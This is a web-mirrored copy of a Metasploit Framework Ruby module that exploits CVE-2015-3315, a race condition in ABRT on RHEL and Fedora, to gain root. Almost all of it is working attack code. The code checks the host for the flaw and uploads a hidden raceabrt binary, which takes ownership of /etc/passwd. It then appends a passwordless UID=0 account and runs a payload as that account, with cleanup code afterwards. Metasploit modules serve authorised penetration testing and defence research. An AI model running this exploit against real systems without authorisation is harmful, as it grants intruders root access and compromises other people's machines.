Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ABRT raceabrt Privilege Escalation',
18
'Description' => %q{
19
This module attempts to gain root privileges on Linux systems with
20
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
21
as the crash handler.
22
23
A race condition allows local users to change ownership of arbitrary
24
files (CVE-2015-3315). This module uses a symlink attack on
25
`/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,
26
then adds a new user with UID=0 GID=0 to gain root privileges.
27
Winning the race could take a few minutes.
28
29
This module has been tested successfully on:
30
31
abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;
32
abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;
33
abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;
34
abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;
35
abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'Tavis Ormandy', # Discovery and C exploit
40
'bcoles' # Metasploit
41
],
42
'DisclosureDate' => '2015-04-14',
43
'Platform' => [ 'linux' ],
44
'Arch' => [ ARCH_X86, ARCH_X64 ],
45
'SessionTypes' => [ 'shell', 'meterpreter' ],
46
'Targets' => [[ 'Auto', {} ]],
47
'References' => [
48
[ 'CVE', '2015-3315' ],
49
[ 'EDB', '36747' ],
50
[ 'BID', '75117' ],
51
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
52
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
53
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
54
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
55
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
56
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
57
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
58
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
59
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
60
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
61
],
62
'Compat' => {
63
'Meterpreter' => {
64
'Commands' => %w[
65
stdapi_fs_stat
66
stdapi_sys_process_execute
67
]
68
}
69
},
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
register_options(
78
[
79
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
80
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
81
]
82
)
83
register_advanced_options [
84
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
85
]
86
87
self.needs_cleanup = true
88
end
89
90
def base_dir
91
datastore['WritableDir']
92
end
93
94
def timeout
95
datastore['TIMEOUT']
96
end
97
98
def check
99
if immutable?('/etc/passwd')
100
vprint_error 'File /etc/passwd is immutable'
101
return CheckCode::Safe
102
end
103
104
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
105
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
106
vprint_error 'System is NOT configured to use ABRT for crash reporting'
107
return CheckCode::Safe
108
end
109
vprint_good 'System is configured to use ABRT for crash reporting'
110
111
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
112
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
113
return CheckCode::Safe
114
end
115
vprint_good 'System does not appear to have been patched'
116
117
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
118
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
119
return CheckCode::Safe
120
end
121
vprint_good "Directory '/var/tmp/abrt' exists"
122
123
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
124
vprint_error 'abrt-ccp service NOT running'
125
return CheckCode::Safe
126
end
127
vprint_good 'abrt-ccpp service is running'
128
129
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
130
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
131
unless abrt_version.blank?
132
vprint_status "System is using ABRT package version #{abrt_version}"
133
end
134
135
CheckCode::Detected
136
end
137
138
def upload_and_chmodx(path, data)
139
print_status "Writing '#{path}' (#{data.size} bytes) ..."
140
rm_f path
141
write_file path, data
142
cmd_exec "chmod +x '#{path}'"
143
register_file_for_cleanup path
144
end
145
146
def exploit
147
if check != CheckCode::Detected
148
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
149
end
150
151
@chown_file = '/etc/passwd'
152
153
if datastore['USERNAME'].blank?
154
@username = rand_text_alpha rand(7..10)
155
else
156
@username = datastore['USERNAME']
157
end
158
159
# Upload Tavis Ormandy's raceabrt exploit:
160
# - https://www.exploit-db.com/exploits/36747/
161
# Cross-compiled with:
162
# - i486-linux-musl-cc -static raceabrt.c
163
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
164
fd = ::File.open path, 'rb'
165
executable_data = fd.read fd.stat.size
166
fd.close
167
168
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
169
executable_path = "#{base_dir}/#{executable_name}"
170
upload_and_chmodx executable_path, executable_data
171
172
# Change working directory to base_dir
173
cmd_exec "cd '#{base_dir}'"
174
175
# Launch raceabrt executable
176
print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
177
output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
178
output.each_line { |line| vprint_status line.chomp }
179
180
# Check if we own /etc/passwd
181
unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
182
fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
183
end
184
185
print_good "Success! '#{@chown_file}' is writable"
186
187
# Add new user with no password
188
print_status "Adding #{@username} user to #{@chown_file} ..."
189
cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"
190
191
# Upload payload executable
192
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
193
upload_and_chmodx payload_path, generate_payload_exe
194
195
# Execute payload executable
196
vprint_status 'Executing payload...'
197
cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
198
end
199
200
def on_new_session(session)
201
if session.type.to_s.eql? 'meterpreter'
202
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
203
end
204
205
# Reinstate /etc/passwd root ownership and remove new user
206
root_owns_passwd = false
207
new_user_removed = false
208
209
if session.type.to_s.eql? 'meterpreter'
210
# Reinstate /etc/passwd root ownership
211
session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""
212
213
# Remove new user
214
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""
215
216
# Wait for clean up
217
Rex.sleep 5
218
219
# Check root ownership
220
passwd_stat = session.fs.file.stat(@chown_file).stathash
221
if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
222
root_owns_passwd = true
223
end
224
225
# Check for new user in /etc/passwd
226
passwd_contents = session.fs.file.open(@chown_file).read.to_s
227
unless passwd_contents.include? "#{@username}:"
228
new_user_removed = true
229
end
230
elsif session.type.to_s.eql? 'shell'
231
# Reinstate /etc/passwd root ownership
232
session.shell_command_token "chown root:root #{@chown_file}"
233
234
# Remove new user
235
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"
236
237
# Check root ownership
238
passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
239
if passwd_owner.to_s.include? 'root'
240
root_owns_passwd = true
241
end
242
243
# Check for new user in /etc/passwd
244
passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
245
unless passwd_user.to_s.include? "#{@username}:"
246
new_user_removed = true
247
end
248
end
249
250
unless root_owns_passwd
251
print_warning "Could not reinstate root ownership of #{@chown_file}"
252
end
253
254
unless new_user_removed
255
print_warning "Could not remove user '#{@username}' from #{@chown_file}"
256
end
257
rescue => e
258
print_error "Error during cleanup: #{e.message}"
259
ensure
260
super
261
end
262
end
263
264